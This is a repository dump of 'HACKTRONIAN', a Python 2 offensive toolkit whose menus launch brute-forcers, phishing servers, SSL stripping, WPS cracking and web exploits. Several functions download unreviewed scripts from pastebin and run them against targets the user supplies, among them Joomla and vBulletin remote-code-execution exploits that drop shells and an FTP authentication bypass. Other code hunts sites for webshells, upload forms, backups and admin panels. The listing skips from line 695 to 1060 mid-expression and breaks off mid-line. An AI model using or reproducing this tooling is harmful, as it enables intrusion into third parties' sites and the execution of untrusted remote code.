├── .github └── FUNDING.yml ├── LICENSE ├── README.md ├── _config.yml ├── hacktronian.py ├── install.sh ├── logo.png └── update.sh /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: thehackingsage # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: ['https://paypal.me/thehackingsage'] # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Mr. SAGE 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 |
3 |

***Pentesing Tools That All Hacker Needs.***

4 | 5 | ## HACKTRONIAN Menu : 6 | 7 | - Information Gathering 8 | - Password Attacks 9 | - Wireless Testing 10 | - Exploitation Tools 11 | - Sniffing & Spoofing 12 | - Web Hacking 13 | - Private Web Hacking 14 | - Post Exploitation 15 | - Install The HACKTRONIAN 16 | 17 | ### Information Gathering: 18 | 19 | - Nmap 20 | - Setoolkit 21 | - Port Scanning 22 | - Host To IP 23 | - wordpress user 24 | - CMS scanner 25 | - XSStrike 26 | - Dork - Google Dorks Passive Vulnerability Auditor 27 | - Scan A server's Users 28 | - Crips 29 | 30 | ### Password Attacks: 31 | 32 | - Cupp 33 | - Ncrack 34 | 35 | ### Wireless Testing: 36 | 37 | - reaver 38 | - pixiewps 39 | - Fluxion 40 | 41 | ### Exploitation Tools: 42 | 43 | - ATSCAN 44 | - sqlmap 45 | - Shellnoob 46 | - commix 47 | - FTP Auto Bypass 48 | - jboss-autopwn 49 | 50 | ### Sniffing & Spoofing: 51 | 52 | - Setoolkit 53 | - SSLtrip 54 | - pyPISHER 55 | - SMTP Mailer 56 | 57 | ### Web Hacking: 58 | 59 | - Drupal Hacking 60 | - Inurlbr 61 | - Wordpress & Joomla Scanner 62 | - Gravity Form Scanner 63 | - File Upload Checker 64 | - Wordpress Exploit Scanner 65 | - Wordpress Plugins Scanner 66 | - Shell and Directory Finder 67 | - Joomla! 1.5 - 3.4.5 remote code execution 68 | - Vbulletin 5.X remote code execution 69 | - BruteX - Automatically brute force all services running on a target 70 | - Arachni - Web Application Security Scanner Framework 71 | 72 | ### Private Web Hacking: 73 | 74 | - Get all websites 75 | - Get joomla websites 76 | - Get wordpress websites 77 | - Control Panel Finder 78 | - Zip Files Finder 79 | - Upload File Finder 80 | - Get server users 81 | - SQli Scanner 82 | - Ports Scan (range of ports) 83 | - ports Scan (common ports) 84 | - Get server Info 85 | - Bypass Cloudflare 86 | 87 | ### Post Exploitation: 88 | 89 | - Shell Checker 90 | - POET 91 | - Weeman 92 | 93 | ## Installation in Linux : 94 | 95 | This Tool Must Run As ROOT !!! 96 | 97 | ```git clone https://github.com/thehackingsage/hacktronian.git``` 98 | 99 | ```cd hacktronian``` 100 | 101 | ```chmod +x install.sh``` 102 | 103 | ```./install.sh``` 104 | 105 | That's it.. you can execute tool by typing **hacktronian** 106 | 107 | ## Installation in Android : 108 | 109 | Open [Termux](https://play.google.com/store/apps/details?id=com.termux) 110 | 111 | ```pkg install git``` 112 | 113 | ```pkg install python``` 114 | 115 | ```git clone https://github.com/thehackingsage/hacktronian.git``` 116 | 117 | ```cd hacktronian``` 118 | 119 | ```chmod +x hacktronian.py``` 120 | 121 | ```python2 hacktronian.py``` 122 | 123 | ## Video Tutorial : 124 | 125 | YouTube : https://www.youtube.com/watch?v=1LJlyQAQby4 126 | 127 | ## License : 128 | 129 | [MIT Licence](https://github.com/thehackingsage/hacktronian/blob/master/LICENSE) 130 | 131 | That's It... If You Like This Repo. Please Share This With Your Friends.. 132 | 133 | & Don't Forget To Follow Me At [Twitter](https://www.twitter.com/thehackingsage), [Instagram](https://www.instagram.com/thehackingsage), [Github](https://www.github.com/thehackingsage) & SUBSCRIBE My [YouTube](https://www.youtube.com/channel/UCYK1n9A4TUq1CvGc6F3DzoA) Channel..!!! 134 | 135 | ***Thankyou.*** 136 | ***Keep Visiting..*** 137 | ***Enjoy.!!! :)*** 138 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker -------------------------------------------------------------------------------- /hacktronian.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | # 3 | # _ _ ___ _____ _ _____________ _____ _ _ _____ ___ _ _ 4 | # | | | | / _ \/ __ \| | / /_ _| ___ \ _ | \ | |_ _|/ _ \ | \ | | 5 | # | |_| |/ /_\ \ / \/| |/ / | | | |_/ / | | | \| | | | / /_\ \| \| | 6 | # | _ || _ | | | \ | | | /| | | | . ` | | | | _ || . ` | 7 | # | | | || | | | \__/\| |\ \ | | | |\ \\ \_/ / |\ |_| |_| | | || |\ | 8 | # \_| |_/\_| |_/\____/\_| \_/ \_/ \_| \_|\___/\_| \_/\___/\_| |_/\_| \_/ 9 | # ~ Tools For Hacking by Mr. SAGE 10 | 11 | import sys 12 | import argparse 13 | import os 14 | import time 15 | import httplib 16 | import subprocess 17 | import re 18 | import urllib2 19 | import socket 20 | import urllib 21 | import sys 22 | import json 23 | import telnetlib 24 | import glob 25 | import random 26 | import Queue 27 | import threading 28 | #import requests 29 | import base64 30 | from getpass import getpass 31 | from commands import * 32 | from sys import argv 33 | from platform import system 34 | from urlparse import urlparse 35 | from xml.dom import minidom 36 | from optparse import OptionParser 37 | from time import sleep 38 | ########################## 39 | os.system('clear') 40 | 41 | 42 | def menu(): 43 | print (""" 44 | MIT License 45 | 46 | Copyright (c) 2018 HACKTRONIAN 47 | 48 | Permission is hereby granted, free of charge, to any person obtaining a copy 49 | of this software and associated documentation files (the "Software"), to deal 50 | in the Software without restriction, including without limitation the rights 51 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 52 | copies of the Software, and to permit persons to whom the Software is 53 | furnished to do so, subject to the following conditions: 54 | 55 | The above copyright notice and this permission notice shall be included in all 56 | copies or substantial portions of the Software. 57 | 58 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 59 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 60 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 61 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 62 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 63 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 64 | SOFTWARE.""") 65 | 66 | 67 | os.system('clear') 68 | os.system('clear') 69 | os.system('clear') 70 | os.system('clear') 71 | 72 | directories = ['/uploads/', '/upload/', '/files/', '/resume/', '/resumes/', '/documents/', '/docs/', '/pictures/', '/file/', '/Upload/', '/Uploads/', '/Resume/', '/Resume/', '/UsersFiles/', '/Usersiles/', '/usersFiles/', '/Users_Files/', '/UploadedFiles/', 73 | '/Uploaded_Files/', '/uploadedfiles/', '/uploadedFiles/', '/hpage/', '/admin/upload/', '/admin/uploads/', '/admin/resume/', '/admin/resumes/', '/admin/pictures/', '/pics/', '/photos/', '/Alumni_Photos/', '/alumni_photos/', '/AlumniPhotos/', '/users/'] 74 | shells = ['wso.php', 'shell.php', 'an.php', 'hacker.php', 'lol.php', 'up.php', 'cp.php', 'upload.php', 75 | 'sh.php', 'pk.php', 'mad.php', 'x00x.php', 'worm.php', '1337worm.php', 'config.php', 'x.php', 'haha.php'] 76 | upload = [] 77 | yes = set(['yes', 'y', 'ye', 'Y']) 78 | no = set(['no', 'n']) 79 | 80 | 81 | def logo(): 82 | print """ 83 | - Powered by 84 | ___ ___ _____ ___ _____ _____ 85 | | \/ | / ___|/ _ \| __ \| ___| 86 | | . . |_ __ \ `--./ /_\ \ | \/| |__ 87 | | |\/| | '__| `--. \ _ | | __ | __| 88 | | | | | |_ /\__/ / | | | |_\ \| |___ 89 | \_| |_/_(_) \____/\_| |_/\____/\____/ 90 | """ 91 | 92 | 93 | hacktronianlogo = """\033[0m 94 | _ _ _ ____ _ _______ ____ ___ _ _ ___ _ _ _ 95 | | | | | / \ / ___| |/ /_ _| _ \ / _ \| \ | |_ _| / \ | \ | | 96 | | |_| | / _ \| | | ' / | | | |_) | | | | \| || | / _ \ | \| | 97 | | _ |/ ___ \ |___| . \ | | | _ <| |_| | |\ || | / ___ \| |\ | 98 | |_| |_/_/ \_\____|_|\_\ |_| |_| \_\_ __/|_| \_|___/_/ \_\_| \_| 99 | \033[91m""" 100 | def menu(): 101 | print (hacktronianlogo + """\033[1m 102 | [!] This Tool Must Run As ROOT [!] https://linktr.ee/thehackingsage 103 | \033[0m 104 | {1}--Information Gathering 105 | {2}--Password Attacks 106 | {3}--Wireless Testing 107 | {4}--Exploitation Tools 108 | {5}--Sniffing & Spoofing 109 | {6}--Web Hacking 110 | {7}--Private Web Hacking 111 | {8}--Post Exploitation 112 | {0}--Install The HACKTRONIAN 113 | {99}-Exit 114 | """) 115 | choice = raw_input("hacktronian~# ") 116 | os.system('clear') 117 | if choice == "1": 118 | info() 119 | elif choice == "2": 120 | passwd() 121 | elif choice == "3": 122 | wire() 123 | elif choice == "4": 124 | exp() 125 | elif choice == "5": 126 | snif() 127 | elif choice == "6": 128 | webhack() 129 | elif choice == "7": 130 | dzz() 131 | elif choice == "8": 132 | postexp() 133 | elif choice == "0": 134 | updatehacktronian() 135 | elif choice == "99": 136 | clearScr(), sys.exit() 137 | elif choice == "": 138 | menu() 139 | else: 140 | menu() 141 | 142 | 143 | def updatehacktronian(): 144 | print ("This Tool is Only Available for Linux and Similar Systems. ") 145 | choiceupdate = raw_input("Continue Y / N: ") 146 | if choiceupdate in yes: 147 | os.system("git clone https://github.com/thehackingsage/hacktronian.git") 148 | os.system("cd hacktronian && sudo bash ./update.sh") 149 | os.system("hacktronian") 150 | 151 | 152 | def doork(): 153 | print("doork is a open-source passive vulnerability auditor tool that automates the process of searching on Google information about specific website based on dorks. ") 154 | doorkchice = raw_input("Continue Y / N: ") 155 | if doorkchice in yes: 156 | os.system("pip install beautifulsoup4 && pip install requests") 157 | os.system("git clone https://github.com/AeonDave/doork") 158 | clearScr() 159 | doorkt = raw_input("Target : ") 160 | os.system("cd doork && python doork.py -t %s -o log.log" % doorkt) 161 | 162 | 163 | def postexp(): 164 | clearScr() 165 | print(hacktronianlogo) 166 | print(" {1}--Shell Checker") 167 | print(" {2}--POET") 168 | print(" {3}--Phishing Framework \n") 169 | print(" {99}-Return to main menu \n\n ") 170 | choice11 = raw_input("hacktronian~# ") 171 | os.system('clear') 172 | if choice11 == "1": 173 | sitechecker() 174 | if choice11 == "2": 175 | poet() 176 | if choice11 == "3": 177 | weeman() 178 | elif choice11 == "99": 179 | menu() 180 | 181 | 182 | def scanusers(): 183 | site = raw_input('Enter a website : ') 184 | try: 185 | users = site 186 | if 'http://www.' in users: 187 | users = users.replace('http://www.', '') 188 | if 'http://' in users: 189 | users = users.replace('http://', '') 190 | if '.' in users: 191 | users = users.replace('.', '') 192 | if '-' in users: 193 | users = users.replace('-', '') 194 | if '/' in users: 195 | users = users.replace('/', '') 196 | while len(users) > 2: 197 | print users 198 | resp = urllib2.urlopen( 199 | site + '/cgi-sys/guestbook.cgi?user=%s' % users).read() 200 | 201 | if 'invalid username' not in resp.lower(): 202 | print "\tFound -> %s" % users 203 | pass 204 | 205 | users = users[:-1] 206 | except: 207 | pass 208 | 209 | 210 | def brutex(): 211 | clearScr() 212 | print("Automatically brute force all services running on a target : Open ports / DNS domains / Usernames / Passwords ") 213 | os.system("git clone https://github.com/1N3/BruteX.git") 214 | clearScr() 215 | brutexchoice = raw_input("Select a Target : ") 216 | os.system("cd BruteX && chmod 777 brutex && ./brutex %s" % brutexchoice) 217 | 218 | 219 | def arachni(): 220 | print("Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of web applications") 221 | cara = raw_input("Install And Run ? Y / N : ") 222 | clearScr() 223 | print("exemple : http://www.target.com/") 224 | tara = raw_input("Select a target to scan : ") 225 | if cara in yes: 226 | os.system("git clone git://github.com/Arachni/arachni.git") 227 | os.system( 228 | "cd arachni && sudo gem install bundler && bundle install --without prof && rake install") 229 | os.system("archani") 230 | clearScr() 231 | os.system("cd arachni/bin && chmod 777 arachni && ./arachni %s" % tara) 232 | 233 | 234 | def XSStrike(): 235 | clearScr() 236 | print("XSStrike is a python script designed to detect and exploit XSS vulnerabilites. Follow The Owner On Github @UltimateHackers") 237 | os.system("sudo rm -rf XSStrike") 238 | os.system("git clone https://github.com/UltimateHackers/XSStrike.git && cd XSStrike && pip install -r requirements.txt && clear && python xsstrike") 239 | 240 | 241 | def crips(): 242 | clearScr() 243 | os.system("git clone https://github.com/Manisso/Crips.git") 244 | os.system("cd Crips && sudo bash ./update.sh") 245 | os.system("crips") 246 | os.system("clear") 247 | 248 | 249 | def weeman(): 250 | print("HTTP server for phishing in python. (and framework) Usually you will want to run Weeman with DNS spoof attack. (see dsniff, ettercap).") 251 | choicewee = raw_input("Install Weeman ? Y / N : ") 252 | if choicewee in yes: 253 | os.system( 254 | "git clone https://github.com/samyoyo/weeman.git && cd weeman && python weeman.py") 255 | if choicewee in no: 256 | menu() 257 | else: 258 | menu() 259 | 260 | 261 | def gabriel(): 262 | print("Abusing authentication bypass of Open&Compact (Gabriel's)") 263 | os.system("wget http://pastebin.com/raw/Szg20yUh --output-document=gabriel.py") 264 | clearScr() 265 | os.system("python gabriel.py") 266 | ftpbypass = raw_input("Enter Target IP and Use Command :") 267 | os.system("python gabriel.py %s" % ftpbypass) 268 | 269 | 270 | def sitechecker(): 271 | os.system("wget http://pastebin.com/raw/Y0cqkjrj --output-document=ch01.py") 272 | clearScr() 273 | os.system("python ch01.py") 274 | 275 | 276 | def h2ip(): 277 | host = raw_input("Select A Host : ") 278 | ips = socket.gethostbyname(host) 279 | print(ips) 280 | 281 | 282 | def ports(): 283 | clearScr() 284 | target = raw_input('Select a Target IP : ') 285 | os.system("nmap -O -Pn %s" % target) 286 | sys.exit() 287 | 288 | 289 | def ifinurl(): 290 | print""" This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.""" 291 | print('Do You Want To Install InurlBR ? ') 292 | cinurl = raw_input("Y/N: ") 293 | if cinurl in yes: 294 | inurl() 295 | if cinurl in no: 296 | menu() 297 | elif cinurl == "": 298 | menu() 299 | else: 300 | menu() 301 | 302 | 303 | def bsqlbf(): 304 | clearScr() 305 | print("This tool will only work on blind sql injection") 306 | cbsq = raw_input("select target : ") 307 | os.system("wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/bsqlbf-v2/bsqlbf-v2-7.pl -o bsqlbf.pl") 308 | os.system("perl bsqlbf.pl -url %s" % cbsq) 309 | os.system("rm bsqlbf.pl") 310 | 311 | 312 | def atscan(): 313 | print ("Do You To Install ATSCAN ?") 314 | choiceshell = raw_input("Y/N: ") 315 | if choiceshell in yes: 316 | os.system("sudo rm -rf ATSCAN") 317 | os.system( 318 | "git clone https://github.com/AlisamTechnology/ATSCAN.git && cd ATSCAN && perl atscan.pl") 319 | elif choiceshell in no: 320 | os.system('clear') 321 | menu() 322 | 323 | 324 | def commix(): 325 | print ("Automated All-in-One OS Command Injection and Exploitation Tool.") 326 | print ("usage : python commix.py --help") 327 | choicecmx = raw_input("Continue: y/n :") 328 | if choicecmx in yes: 329 | os.system("git clone https://github.com/stasinopoulos/commix.git commix") 330 | os.system("cd commix") 331 | os.system("python commix.py") 332 | os.system("") 333 | elif choicecmx in no: 334 | os.system('clear') 335 | info() 336 | 337 | 338 | def pixiewps(): 339 | print"""Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploiting the low or non-existing entropy of some Access Points, the so-called "pixie dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only 340 | """ 341 | choicewps = raw_input("Continue ? Y/N : ") 342 | if choicewps in yes: 343 | os.system("git clone https://github.com/wiire/pixiewps.git") 344 | os.system("cd pixiewps & make ") 345 | os.system("sudo make install") 346 | if choicewps in no: 347 | menu() 348 | elif choicewps == "": 349 | menu() 350 | else: 351 | menu() 352 | 353 | 354 | def webhack(): 355 | print(hacktronianlogo) 356 | print(" {1}--Drupal Hacking ") 357 | print(" {2}--Inurlbr") 358 | print(" {3}--Wordpress & Joomla Scanner") 359 | print(" {4}--Gravity Form Scanner") 360 | print(" {5}--File Upload Checker") 361 | print(" {6}--Wordpress Exploit Scanner") 362 | print(" {7}--Wordpress Plugins Scanner") 363 | print(" {8}--Shell and Directory Finder") 364 | print(" {9}--Joomla! 1.5 - 3.4.5 remote code execution") 365 | print(" {10}-Vbulletin 5.X remote code execution") 366 | print( 367 | " {11}-BruteX - Automatically brute force all services running on a target") 368 | print(" {12}-Arachni - Web Application Security Scanner Framework \n ") 369 | print(" {99}-Back To Main Menu \n") 370 | choiceweb = raw_input("hacktronian~# ") 371 | if choiceweb == "1": 372 | clearScr() 373 | maine() 374 | if choiceweb == "2": 375 | clearScr() 376 | ifinurl() 377 | if choiceweb == '3': 378 | clearScr() 379 | wppjmla() 380 | if choiceweb == "4": 381 | clearScr() 382 | gravity() 383 | if choiceweb == "5": 384 | clearScr() 385 | sqlscan() 386 | if choiceweb == "6": 387 | clearScr() 388 | wpminiscanner() 389 | if choiceweb == "7": 390 | clearScr() 391 | wppluginscan() 392 | if choiceweb == "8": 393 | clearScr() 394 | shelltarget() 395 | if choiceweb == "9": 396 | clearScr() 397 | joomlarce() 398 | if choiceweb == "10": 399 | clearScr() 400 | vbulletinrce() 401 | if choiceweb == "11": 402 | clearScr() 403 | brutex() 404 | if choiceweb == "12": 405 | clearScr() 406 | arachni() 407 | elif choiceweb == "99": 408 | menu() 409 | elif choiceweb == "": 410 | menu() 411 | else: 412 | menu() 413 | 414 | 415 | def vbulletinrce(): 416 | os.system("wget http://pastebin.com/raw/eRSkgnZk --output-document=tmp.pl") 417 | os.system("perl tmp.pl") 418 | 419 | 420 | def joomlarce(): 421 | os.system("wget http://pastebin.com/raw/EX7Gcbxk --output-document=temp.py") 422 | clearScr() 423 | print("if the response is 200 , you will find your shell in Joomla_3.5_Shell.txt") 424 | jmtarget = raw_input("Select a targets list :") 425 | os.system("python temp.py %s" % jmtarget) 426 | 427 | 428 | def inurl(): 429 | dork = raw_input("select a Dork:") 430 | output = raw_input("select a file to save :") 431 | os.system( 432 | "./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output)) 433 | if cinurl in no: 434 | insinurl() 435 | elif cinurl == "": 436 | menu() 437 | else: 438 | menu() 439 | 440 | 441 | def insinurl(): 442 | os.system("git clone https://github.com/googleinurl/SCANNER-INURLBR.git") 443 | os.system("chmod +x SCANNER-INURLBR/inurlbr.php") 444 | os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl") 445 | os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php") 446 | clearScr() 447 | inurl() 448 | 449 | 450 | def nmap(): 451 | 452 | choice7 = raw_input("continue ? Y / N : ") 453 | if choice7 in yes: 454 | os.system("git clone https://github.com/nmap/nmap.git") 455 | os.system("cd nmap && ./configure && make && make install") 456 | elif choice7 in no: 457 | info() 458 | elif choice7 == "": 459 | menu() 460 | else: 461 | menu() 462 | 463 | 464 | def jboss(): 465 | os.system('clear') 466 | print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once") 467 | print ("deployed, the script uses its upload and command execution capability to") 468 | print ("provide an interactive session.") 469 | print ("") 470 | print ("usage : ./e.sh target_ip tcp_port ") 471 | print("Continue: y/n") 472 | choice9 = raw_input("yes / no :") 473 | if choice9 in yes: 474 | os.system( 475 | "git clone https://github.com/SpiderLabs/jboss-autopwn.git"), sys.exit() 476 | elif choice9 in no: 477 | os.system('clear') 478 | exp() 479 | elif choice9 == "": 480 | menu() 481 | else: 482 | menu() 483 | 484 | 485 | def wppluginscan(): 486 | Notfound = [404, 401, 400, 403, 406, 301] 487 | sitesfile = raw_input("sites file : ") 488 | filepath = raw_input("Plugins File : ") 489 | 490 | def scan(site, dir): 491 | global resp 492 | try: 493 | conn = httplib.HTTPConnection(site) 494 | conn.request('HEAD', "/wp-content/plugins/" + dir) 495 | resp = conn.getresponse().status 496 | except(), message: 497 | print "Cant Connect :", message 498 | pass 499 | 500 | def timer(): 501 | now = time.localtime(time.time()) 502 | return time.asctime(now) 503 | 504 | def main(): 505 | sites = open(sitesfile).readlines() 506 | plugins = open(filepath).readlines() 507 | for site in sites: 508 | site = site.rstrip() 509 | for plugin in plugins: 510 | plugin = plugin.rstrip() 511 | scan(site, plugin) 512 | if resp not in Notfound: 513 | print "+----------------------------------------+" 514 | print "| current site :" + site 515 | print "| Found Plugin : " + plugin 516 | print "| Result:", resp 517 | 518 | 519 | def sqlmap(): 520 | print ("usage : python sqlmap.py -h") 521 | choice8 = raw_input("Continue: y/n :") 522 | if choice8 in yes: 523 | os.system( 524 | "git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ") 525 | elif choice8 in no: 526 | os.system('clear') 527 | info() 528 | elif choice8 == "": 529 | menu() 530 | else: 531 | menu() 532 | 533 | 534 | def grabuploadedlink(url): 535 | try: 536 | for dir in directories: 537 | currentcode = urllib.urlopen(url + dir).getcode() 538 | if currentcode == 200 or currentcode == 403: 539 | print "-------------------------" 540 | print " [ + ] Found Directory : " + str(url + dir) + " [ + ]" 541 | print "-------------------------" 542 | upload.append(url + dir) 543 | except: 544 | pass 545 | 546 | 547 | def grabshell(url): 548 | try: 549 | for upl in upload: 550 | for shell in shells: 551 | currentcode = urllib.urlopen(upl + shell).getcode() 552 | if currentcode == 200: 553 | print "-------------------------" 554 | print " [ ! ] Found Shell : " + str(upl + shell) + " [ ! ]" 555 | print "-------------------------" 556 | except: 557 | pass 558 | 559 | 560 | def shelltarget(): 561 | print("exemple : http://target.com") 562 | line = raw_input("target : ") 563 | line = line.rstrip() 564 | grabuploadedlink(line) 565 | grabshell(line) 566 | 567 | 568 | def poet(): 569 | print("POET is a simple POst-Exploitation Tool.") 570 | print("") 571 | choicepoet = raw_input("y / n :") 572 | if choicepoet in yes: 573 | os.system("git clone https://github.com/mossberg/poet.git") 574 | os.system("python poet/server.py") 575 | if choicepoet in no: 576 | clearScr() 577 | postexp() 578 | elif choicepoet == "": 579 | menu() 580 | else: 581 | menu() 582 | 583 | 584 | def setoolkit(): 585 | print ("The Social-Engineer Toolkit is an open-source penetration testing framework") 586 | print(") designed for social engineering. SET has a number of custom attack vectors that ") 587 | print(" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC ") 588 | print("an information security consulting firm located in Cleveland, Ohio.") 589 | print("") 590 | 591 | choiceset = raw_input("y / n :") 592 | if choiceset in yes: 593 | os.system( 594 | "git clone https://github.com/trustedsec/social-engineer-toolkit.git") 595 | os.system("python social-engineer-toolkit/setup.py") 596 | if choiceset in no: 597 | clearScr() 598 | info() 599 | elif choiceset == "": 600 | menu() 601 | else: 602 | menu() 603 | 604 | 605 | def cupp(): 606 | print("cupp is a password list generator ") 607 | print("Usage: python cupp.py -h") 608 | choicecupp = raw_input("Continue: y/n : ") 609 | 610 | if choicecupp in yes: 611 | os.system("git clone https://github.com/Mebus/cupp.git") 612 | print("file downloaded successfully") 613 | elif choicecupp in no: 614 | clearScr() 615 | passwd() 616 | elif choicecupp == "": 617 | menu() 618 | else: 619 | menu() 620 | 621 | 622 | def ncrack(): 623 | print("A Ruby interface to Ncrack, Network authentication cracking tool.") 624 | print("requires : nmap >= 0.3ALPHA / rprogram ~> 0.3") 625 | print("Continue: y/n") 626 | choicencrack = raw_input("y / n :") 627 | if choicencrack in yes: 628 | os.system("git clone https://github.com/sophsec/ruby-ncrack.git") 629 | os.system("cd ruby-ncrack") 630 | os.system("install ruby-ncrack") 631 | elif choicencrack in no: 632 | clearScr() 633 | passwd() 634 | elif choicencrack == "": 635 | menu() 636 | else: 637 | menu() 638 | 639 | 640 | def reaver(): 641 | print """ 642 | Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup 643 | WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a 644 | wide variety of access points and WPS implementations 645 | 1 to accept / 0 to decline 646 | """ 647 | creaver = raw_input("y / n :") 648 | if creaver in yes: 649 | os.system( 650 | "apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps") 651 | os.system("git clone https://github.com/t6x/reaver-wps-fork-t6x.git") 652 | os.system("cd reaver-wps-fork-t6x/src/ & ./configure") 653 | os.system("cd reaver-wps-fork-t6x/src/ & make") 654 | elif creaver in no: 655 | clearScr() 656 | wire() 657 | elif creaver == "": 658 | menu() 659 | else: 660 | menu() 661 | 662 | 663 | def ssls(): 664 | print"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 665 | attacks. 666 | It requires Python 2.5 or newer, along with the 'twisted' python module.""" 667 | cssl = raw_input("y / n :") 668 | if cssl in yes: 669 | os.system("git clone https://github.com/moxie0/sslstrip.git") 670 | os.system("sudo apt-get install python-twisted-web") 671 | os.system("python sslstrip/setup.py") 672 | if cssl in no: 673 | snif() 674 | elif cssl == "": 675 | menu() 676 | else: 677 | menu() 678 | 679 | 680 | def unique(seq): 681 | seen = set() 682 | return [seen.add(x) or x for x in seq if x not in seen] 683 | 684 | 685 | def bing_all_grabber(s): 686 | 687 | lista = [] 688 | page = 1 689 | while page <= 101: 690 | try: 691 | bing = "http://www.bing.com/search?q=ip%3A" + \ 692 | s + "+&count=50&first=" + str(page) 693 | openbing = urllib2.urlopen(bing) 694 | readbing = openbing.read() 695 | findwebs = re.findall('

') 1060 | self.portScanner(1, ran) 1061 | elif choice == '10': 1062 | self.portScanner(2, None) 1063 | elif choice == '11': 1064 | self.getServerBanner() 1065 | elif choice == '12': 1066 | self.cloudflareBypasser() 1067 | elif choice == '99': 1068 | menu() 1069 | con = raw_input(' Continue [Y/n] -> ') 1070 | if con[0].upper() == 'N': 1071 | exit() 1072 | else: 1073 | clearScr() 1074 | print menuu 1075 | 1076 | def getSites(self, a): 1077 | """ 1078 | get all websites on same server 1079 | from bing search 1080 | """ 1081 | lista = [] 1082 | page = 1 1083 | while page <= 101: 1084 | try: 1085 | bing = "http://www.bing.com/search?q=ip%3A" + \ 1086 | self.serverip + "+&count=50&first=" + str(page) 1087 | openbing = urllib2.urlopen(bing) 1088 | readbing = openbing.read() 1089 | findwebs = re.findall('

", site + admin 1181 | except IOError: 1182 | pass 1183 | ############################ 1184 | # find ZIP files 1185 | 1186 | def findZip(self): 1187 | """ 1188 | find zip files from grabbed websites 1189 | it may contain useful informations 1190 | """ 1191 | zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 1192 | 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar'] 1193 | clearScr() 1194 | print "[~] Finding zip file" 1195 | for site in self.sites: 1196 | for zip1 in zipList: 1197 | try: 1198 | if urllib.urlopen(site + zip1).getcode() == 200: 1199 | print " [*] Found zip file -> ", site + zip1 1200 | except IOError: 1201 | pass 1202 | 1203 | def findUp(self): 1204 | """ 1205 | find upload forms from grabbed 1206 | websites the attacker may succeed to 1207 | upload malicious files like webshells 1208 | """ 1209 | upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php', 'blog/up.php', 'upload.php', 1210 | 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php'] 1211 | clearScr() 1212 | print "[~] Finding Upload" 1213 | for site in self.sites: 1214 | for up in upList: 1215 | try: 1216 | if (urllib.urlopen(site + up).getcode() == 200): 1217 | html = urllib.urlopen(site + up).readlines() 1218 | for line in 